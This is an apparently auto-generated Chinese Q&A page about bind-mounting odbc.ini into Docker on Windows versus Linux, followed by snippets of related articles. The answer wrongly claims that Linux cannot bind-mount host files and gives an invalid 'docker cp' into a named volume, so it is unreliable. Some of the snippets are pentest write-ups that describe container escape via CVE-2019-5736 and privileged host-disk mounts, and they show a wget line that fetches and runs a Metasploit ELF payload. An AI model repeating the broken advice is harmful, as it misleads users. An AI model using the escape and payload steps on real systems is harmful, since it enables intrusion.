首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Docker bind挂载在windows主机上的odbc.ini文件上,但不在linux上。

Docker是一种开源的容器化平台,它可以帮助开发人员和运维团队更轻松地构建、打包、分发和运行应用程序。它的优势包括高度的可移植性、灵活性和可扩展性。

在Docker中,bind挂载是一种将主机文件系统的特定路径挂载到容器中的方法。它可以让容器访问主机上的文件和目录,实现容器与主机之间的文件共享。

在Windows主机上,如果需要将odbc.ini文件挂载到Docker容器中,可以使用bind挂载功能。首先,在运行Docker容器时,使用"-v"参数指定绑定挂载的配置,例如:

代码语言:txt
复制
docker run -v <host_path_to_odbc.ini>:/container_path_to_odbc.ini <image_name>

其中,<host_path_to_odbc.ini>是odbc.ini文件在Windows主机上的路径,<container_path_to_odbc.ini>是在容器内部的路径。这样,容器就可以通过/container_path_to_odbc.ini路径来访问Windows主机上的odbc.ini文件了。

然而,在Linux上,由于Windows和Linux使用不同的文件系统和文件路径表示方式,无法直接使用bind挂载将Windows主机上的文件挂载到Linux容器中。因此,在Linux上无法实现与在Windows上相同的bind挂载功能。

要在Linux上实现类似的功能,可以考虑使用Docker的"volume"功能。通过创建一个数据卷,并将odbc.ini文件复制到该数据卷中,然后将数据卷挂载到容器中,实现在容器内访问odbc.ini文件的目的。

代码语言:txt
复制
docker volume create odbc_volume
docker cp <host_path_to_odbc.ini> odbc_volume:/container_path_to_odbc.ini
docker run -v odbc_volume:/container_path_to_odbc.ini <image_name>

在这个例子中,首先创建一个名为"odbc_volume"的数据卷,然后将Windows主机上的odbc.ini文件复制到该数据卷中。最后,在运行容器时,使用"-v"参数将数据卷挂载到容器内部的路径,使容器可以访问odbc.ini文件。

需要注意的是,这只是一种在Windows和Linux主机上实现类似功能的方法,具体应用场景和使用方式可能因实际需求而异。关于Docker的更多信息和使用方法,可以参考腾讯云的Docker产品文档:Docker产品介绍

相关搜索:windows上的pycharm和linux虚拟机上的dockerDocker上的Apache2,文件挂载在卷上,不渲染,但正在下载在Docker文件中使用linux命令并在windows上构建RStudio代码在Windows上运行,但相同的代码在Linux上失败。Docker在Windows 10上存储图像文件的位置?从linux上的docker容器上的.net应用程序连接到windows计算机上的sql server。可以在Windows上的Docker中运行ARM/rpi映像,但不能在linux上运行需要在jenkins slave (Windows)上通过浏览器窗口上传文件,但文件在jenkins master (linux)上sh文件,用于在windows计算机上的Mobaxterm上编译cpp函数Kestrel证书在Linux容器上没有这样的文件在Windows容器上找到Docker:无法在Windows 10上拾取nginx的配置文件window.pageYOffset总是返回0。(但仅在windows计算机上返回正确的数字,在Mac上)在Mac上创建的BNA文件是否可以部署在其他Linux主机上?在linux界面将windows中的文件放到linux服务器上Elixir -在Linux和Windows上使用不同的文件路径保存如何从运行于Linux上的c# .net内核(docker容器)在远程windows网络路径上运行.exe如何使用无效的Windows文件名处理在Linux上提交给Git的文件?在Linux和Mac上使用"scp“从Windows计算机上传文件时,出现”远程确认失败: scp:歧义目标“在Chrome OS、Linux、MacOS/OSX上找不到manifest.json中指定的文件,但可以在Windows上找到C# Selenium规范流测试在Visual Studio上的本地PC上运行,但不在Linux Docker容器中运行-URI无效:无法分析授权/主机
相关搜索:
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

在Linux的Windows子系统上(WSL)使用Docker(Ubuntu)

背景   平时开发大部人都是在提供了高效GUI的window下工作,但是真正部署环境普遍都是在Linux中,所以为了让开发环境和部署环境统一,我们需要在windows模拟LInux环境,以前我们可能通过虚拟机的方式实现...不过令人遗憾的是目前WSL是不支持Docker的守护进程,但您可以使用Docker CLI连接到通过Docker for Windows或您创建的任何其他VM 运行的远程Docker守护进程 概览  docker...今天在Windows中,当您运行Windows Server容器时,守护进程在Windows中运行。当您切换到Linux容器模式时,守护程序实际上在名为Moby Linux VM的虚拟机内运行。...例如,您可以在开发计算机上使用本地Docker客户端与Azure中的Docker进行通信。这使我们可以让WSL中的客户端与主机上运行的守护进程通信。...您可能还想共享您的驱动器(土话:盘符)。这一步不是必须的,但如果需要用到某个盘符的文件,建议勾选对应选项,转到“共享驱动器(Shared Drives)”设置并启用它。

4K20

Docker入门:使用数据卷、文件挂载进行数据存储与共享

数据卷适用于 Linux 和 Windows 容器 数据卷支持存储在远端主机上,并支持加密存储 数据卷的数据不支持在宿主机上直接查看或管理 数据卷可以在宿主机上预先占用空间,以免磁盘被占用导致容器无法正常运行...)是Docker早期提供的数据持久化存储方式,我们可以将宿主机的目录/文件挂载到容器中, 并绑定在容器指定的目录/文件上,它具备以下优点/特性 挂载目录/文件非常方便,但文件的备份跟迁移相对麻烦...挂载的目录/文件无法通过Docker本身进行管理 挂载的目录/文件使用的磁盘空间可能会受其他程序影响 挂载的目录/文件可以便捷的在宿主机上进行查看及管理 挂载的目录/文件可以用于容器之间共享数据 绑定挂载为直译...,我更愿称之为文件挂载 3、缓存挂载(tmpfs mounts) Docker在Linux上提供了tmpfs(一种基于内存的文件系统)挂载,可以让容器把内容放在宿主机内存中进行读写,它具备以下优点...,且不能用于容器间的数据共享 虽然官方文档上说只能在Linux环境下的Docker上使用,但我基于Docker Desktop 4.14 on Windows测试下来是可以,猜测是Docker官方在某个

4.7K20
  • Docker学习笔记之docker volume 容器卷的那些事(一)

    可以使用 Docker CLI 命令或 Docker API 来管理。 volume 在 Linux 和 Windows 容器上都能工作。 volume 可以在多个容器之间更安全的共享。...在可以在安装点上设置绑定传播之前,主机文件系统需要已经支持绑定传播。有关绑定传播的更多信息,请参阅 共享子树 的 Linux内核文档。...这种传播使这些目录和文件可用于在 Docker for Mac 上运行的 Docker 容器。...cached:macOS主机的挂载视图是权威的。在主机上进行的更新在容器中可见之前可能会有延迟。 这些选项在除 macOS 以外的所有主机操作系统上完全忽略。 在–mount和-v实例有同样的结果。...tmpfs 容器的限制 tmpfs 挂载不能在容器间共享。 tmpfs 职能在 Linux 容器上工作,不能在 windows 容器上工作。

    1.8K30

    docker 单机配置redis主从集群 集群 前置准备

    bind mount是将宿主机的目录挂载到容器目录下,易于在宿主机操作。 了解docker网络机制:host和bridge docker之网络配置 host可将容器的网络空间与宿主机绑定。...了解docker持久化:docker volume和bind mount 容器只是在镜像上覆盖一层read layer,任何修改都在改层上进行。...有三种可以对容器数据进行持久化,如下图所示: bind mount 将宿主机的目录挂载到容器目录下。 volume 将宿主机上的volume文件挂载到容器目录下。官方推荐用此方式。...如果想要进行迁移,可参考Docker中Image、Container与Volume的迁移 2.1 volume 参考DOCKER查看挂载目录VOLUME 可以将volume文件挂载到容器下,也可以可以复制到别的机器上挂载...在正式部署中会讲解决方法,也就是该命令需要加一些别的参数。 命令中的-v 参数会把宿主机的文件或目录挂载到容器中。由于是挂载,不是拷贝,每次容器重启时,该文件/目录需要正确存在路径上。

    1.2K40

    记一次内网渗透(二)

    利用CVE-2019-5736逃逸 在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令...image-20200726212554147 但此时攻击机却并没有收到shell,很有可能目标docker不在漏洞影响范围内,我们只能用另一种方法来逃逸。...使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。...image-20200726205934430 如上图,挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的 在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件...image-20200727135114886 将生产的msf上传到Windows 7上,然后用smb文件共享将msf马copy到域控的C盘: copy c:\windows\system32\bind.exe

    1.7K30

    Docker 基础知识 - 使用绑定挂载(bind mounts)管理应用程序数据

    绑定挂载(bind mounts)在 Docker 的早期就已经出现了。与卷相比,绑定挂载的功能有限。当您使用绑定挂载时,主机上的文件或目录将挂载到容器中。文件或目录由其在主机上的完整或相对路径引用。...相反地,当您使用卷时,在主机上 Docker 的存储目录中创建一个新目录,Docker 管理该目录的内容。 该文件或目录不需要已经存在于 Docker 主机上。如果还不存在,则按需创建。...字段必须按照正确的顺序排列,且每个字段的含义不够直观明显。 对于绑定挂载(bind mounts), 第一个字段是主机上文件或目录的路径。 第二个字段是容器中文件或目录挂载的路径。...本主题讨论绑定挂载(bind mounts),因此类型(type)始终为绑定挂载(bind)。 挂载的源(source),对于绑定挂载,这是 Docker 守护进程主机上的文件或目录的路径。...考虑一个挂载点 /mnt,它也挂载在 /tmp 上。传播设置控制 /tmp/a 上的挂载是否也可以在 /mnt/a 上使用。每个传播设置都有一个递归对应点。

    2.2K00

    一文了解 Docker 数据卷

    Pexels 上的 Aleksandar Pasaric 拍摄的图片 前言 Docker 镜像是由多个文件系统(只读层)叠加而成。...bind mounts:意为着可以存储在宿主机系统的任意位置; bind mount在不同的宿主机系统时不可移植的,比如Windows和Linux的目录结构是不一样的,bind mount所指向的host...这也是为什么bind mount不能出现在Dockerfile中的原因,因为这样Dockerfile就不可移植了。 tmpfs:挂载存储在宿主机系统的内存中,而不会写入宿主机的文件系统。...:/app# ls root@1dda50366461:/app# echo volume > 20201123 在mac的虚拟机上查看对应的文件目录, Docker 挂载数据卷的默认权限是可读写(...当宿主机不能保证一定存在某个目录或一些固定路径的文件时,使用数据卷可以规避这种限制带来的问题。 当你想把容器中的数据存储在宿主机之外的地方时,比如远程主机上或云存储上。

    1.8K10

    实战|记一次逃逸Docker渗透测试

    (windows文件命名规则中规定了文件名不能出现特殊字符,linux为服务器的情况下,是可以使用?直接进行绕过) ? 第五个判断,先将page进行urldecode解码,然后再进行?...,Docker将启用对主机上所有设备的访问,并在AppArmor或SELinux中进行一些配置,以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。...当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。...那么这里就可以尝试使用特权模式写入ssh私钥,使用ssh免密登录 这里首先新建一个tmptest文件夹,用来存放挂载后的docker ? 查看一下dev文件夹里面的设备文件 ?...上线宿主机到msf 这里还是按照之前的方法生成一个elf文件在ubuntu上执行 wget http://192.168.1.10:8000/test.elfchmod 777 test.elf.

    2.3K20

    记一次docker逃逸学习

    (windows文件命名规则中规定了文件名不能出现特殊字符,linux为服务器的情况下,是可以使用?直接进行绕过) 第五个判断,先将page进行urldecode解码,然后再进行?.../engine/reference/run/#runtime-privilege-and-linux-capabilities 当操作员执行时docker run –privileged,Docker将启用对主机上所有设备的访问...,并在AppArmor或SELinux中进行一些配置,以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。...当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。...那么这里就可以尝试使用特权模式写入ssh私钥,使用ssh免密登录 这里首先新建一个tmptest文件夹,用来存放挂载后的docker 查看一下dev文件夹里面的设备文件 可以看到有四个sda设备文件

    90120

    Docker容器数据储存和转移

    容器的可写层紧密耦合到运行容器的主机。无法轻松地将数据移动到其他位置。 Docker有两个容器选项可以在主机中存储文件,因此即使在容器停止之后文件仍然存在:数据卷和挂载目录。...如果你在Linux上运行Docker,你也可以使用tmpfs mount。...该–mount语法比更详细的-v或–volume,但按键的顺序并不显著,并且标志的价值更容易理解。 该type安装件,其可以是bind,volume,或tmpfs。...有几个优点: 与挂载目录相比,卷更易于备份或迁移。 可以使用Docker CLI命令或Docker API管理数据卷 卷适用于Linux和Windows容器。可以在多个容器之间更安全地共享卷。...使用挂载目录 将主机上的目录或者文件(绝对路径)挂载到容器指定的路径中(绝对路径),也是比较快捷高效的做法,但是数据卷拥有更好的优点,如果你在开发新的应用,请尝试使用数据卷。

    2K10

    Docker 卷到底是个啥玩意?从使用到深入!

    将 Docker 主机中的一个目录挂载到了容器文件系统中的一个目录后,此时操作容器文件系统中的目录,其实就是操作相应的 Dokcer 主机上的目录。...那么,这个是如何做到的呢? 这里主要用到了 Linux 的绑定挂载(bind mount)机制。它的主要作用就是将一个目录或者文件挂载到一个指定的目录上。...并且,之后你在挂载点上进行的任何操作,都只发生在被挂载的目录或者文件上,而原挂载点的内容则会被隐藏起来且不受影响。绑定挂载实际上是一个 inode 替换的过程。...比如,执行 mount --bind /home /test 会将 /home 以 bind 的方式挂载到 /test 上。...” 由于 volume 挂载到指定的容器目录在宿主机上对应的目录位于可读写层,那么在 docker commit 的时候会被提交嘛?不会。

    86010

    Docker存储

    前言 上一篇文章中简单总结了一下docke的基础使用方法,这次我来总结一下有关docker存储方面的相关知识。本文同样建立在CloudMan的系列教程之上,有兴趣的可以直接移步。...看似没错,但问题在于docker的容器是无状态的,当容器重启的时候里面的数据会全部清除,如果是一些静态的数据,我们可以在build镜像的时候直接写死,但是对于数据库、日志等数据实时变化的镜像我们就不能通过这种方式来保存数据...1.2.1 bind mount bind mount的意思是挂载宿主机中固定目录,启动容器的时候执行: docker run -d -p 80:80 -v src:dst httpd -v的格式为:。...由于/usr/local/apache2/htdocs已经存在,但是其中数据会被隐藏起来,取而代之的是宿主机中的数据,这与 linux mount 命令的行为是一致的,即将宿主机中的目录挂载到镜像中的目录...它与bind mount的区别在于,managed volume不需要指定宿主机上的mount目录,docker会自动在宿主机/var/lib/docker/volumes下为其生成一个随机目录。

    1K40

    你必须知道的Docker数据卷(Volume)

    一、将Docker数据挂载到容器   在Docker中,要想实现数据的持久化(所谓Docker的数据持久化即数据不随着Container的结束而结束),需要将数据从宿主机挂载到容器中。...(2)bind mounts:意为着可以存储在宿主机系统的任意位置;(比较常用的方式)   但是,bind mount在不同的宿主机系统时不可移植的,比如Windows和Linux的目录结构是不一样的,...但是,我们可以将宿主机上的文件随时挂载到容器中: Step1.新建一个index.html ? Step2.在容器中查看 ?...因此,宿主机上的配置文件的变化会及时反映到容器中,比如我们在宿主机上的目录下更新了配置文件,那么只需要reload一下Consul的容器实例即可: docker exec consul-server consul...四、小结   本文探索了Docker的数据卷及挂载数据到容器的两种主要方式Volumes和Bind Mounts,并介绍基本的使用方式和步骤,通过数据卷我们可以实现Docker的数据持久化,在实际应用中比较广泛

    2.2K31

    docker 系列:基础入门

    如果我们想要对数据进行持久化,不随容器结束而结束,那我们需要将宿主机的某一文件目录挂载到容器里,通过映射的方法来实现 Docker 的持久化。...在 Docker 里提供了三种方法来实现目录的挂载: volumes 当我们创建一个volume时,将会在 Docker 的主机上创建一个相对应的目录。这个目录就是用来映射到容器中的。...可以使用 docker volume create 来创建卷,一个卷可以同时给几个容器使用,这意味着容器之间可以利用同一个卷来实现数据的共享. bind mounts bind mounts 只需要存在一个真实的目录即可挂载到容器中...绑定挂载非常高效,但它们依赖于主机的具有特定目录结构的文件系统,比如从 Linux 切换为了 Windows,就会使用不了了。...在主机上会创建一个 docker0 的网桥,每当有容器要创建时,便会为容器分配一个独立的网卡,然后桥接到虚拟网桥上。

    33540

    Docker实践(三):数据持久化及共享

    [ccl0ixpydq.png] Volumes(又称docker managed volume)储在主机文件系统的中,由docker管理(在Linux上默认位置为/var/lib/docker/volumes...Bind mounts可以存储在主机系统的任何位置,可能是重要的系统文件或目录,Docker主机或Docker容器上的非Docker进程可以随时修改它们。...volumes可以在Linux和Windows容器上工作。 可以更安全地在多个容器之间共享volumes。...与volumes相比,Bind mounts的功能有限。使用Bind mounts时,主机上的文件或目录将装载到容器中。文件或目录由其在主机上的完整路径或相对路径引用。...如果您在Linux上运行docker,则有第三个选项:tmpfs mounts。当使用tmpfs装载创建容器时,容器可以在容器的可写层之外创建文件。

    89140

    白话容器基础(四):重新认识Docker容器

    备注:之所以要强调 Linux 容器,是因为比如 Docker on Mac,以及 Windows Docker(Hyper-V 实现),实际上是基于虚拟化技术实现的,跟我们这个专 栏着重介绍的 Linux...实际上,Linux Namespace 创建的隔离空间虽然看不见摸不着,但一个进程的 Namespace 信息在宿主机上是确确实实存在的,并且是以一个文件的方式存在。...并且,这时你在该挂载点上进行的任何操作,只是发生在被挂载的目录或者文件上,而原挂载点的内容则会被隐藏起来且不受影响。...所以,在一个正确的时机,进行一次绑定挂载,Docker 就可以成功地将一个宿主机上的目录或文件,不动声色地挂载到容器中。...可是,如果你在宿主机上查看该容器的可读写层,虽然可以看到这个 /test 目录,但其内容是空的(关于如何找到这个 AuFS 文件系统的路径,请参考我上一次分 享的内容): ls /var/lib/docker

    43330

    docker 配置redis主从配置 集群 正式部署

    前言 在正式部署前,你可以先阅读前置准备,对部署过程中用到的docker、redis操作和配置有一个理解,以防在自己电脑上复现时出错。...我们将在一台windows10机器上运行多个docker容器,配置Redis主从集群。...然后需要修改宿主机内核的配置,解决THP WARNING。由于windows上无法直接操作虚拟linux内核,需要在容器中进行。只要把宿主机的内核修改,所有容器都会解决THP WARNING问题。...如果想永久生效: 在linux上,你需要在/etc/rc.local添加该语句 但在window上,我还不知道如何配置,因为在容器内找不到/etc/rc.local(反正生产环境一般是linux,在windows...(在一个容器里修改一次就好,但windows上重启docker后,还是要重新修改) 最后 可以分析下docker redis官方的DockerFile RUN mkdir /data && chown

    1.7K20

    Docker数据卷(Volume)

    一、将Docker数据挂载到容器   在Docker中,要想实现数据的持久化(所谓Docker的数据持久化即​​数据不随着Container的结束而结束​​),需要将数据从宿主机挂载到容器中。...(2)bind mounts:意为着可以存储在宿主机系统的任意位置;(​比较常用的方式​)   但是,bind mount在不同的宿主机系统时不可移植的,比如Windows和Linux的目录结构是不一样的...但是,我们可以将宿主机上的文件随时挂载到容器中:   ​Step1​.新建一个index.html   ​Step2​.在容器中查看 3.2 验证绑定 docker inspect edc-nginx...因此,宿主机上的配置文件的变化会及时反映到容器中,比如我们在宿主机上的目录下更新了配置文件,那么只需要reload一下Consul的容器实例即可: docker exec consul-server consul...四、小结   本文探索了Docker的数据卷及挂载数据到容器的两种主要方式Volumes和Bind Mounts,并介绍基本的使用方式和步骤,通过数据卷我们可以实现Docker的数据持久化,在实际应用中比较广泛

    14910

    ATT&CK实战系列-红队评估(七)学习记录

    因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。...3.当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。...首先我们现在docker中新建一个/hack目录用来挂载文件: 命令: fdisk -l #查看磁盘文件 mkdir /hack # 新建一个/hack目录用来挂载文件 ls / ls /dev...在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。.../ew_for_linux64 -s lcx_listen -l 1090 -e 9998 然后在第二层网络的Windows服务器PC1上传ew_for_Win.exe,并利用ssocksd方式启动999

    1.3K10
    领券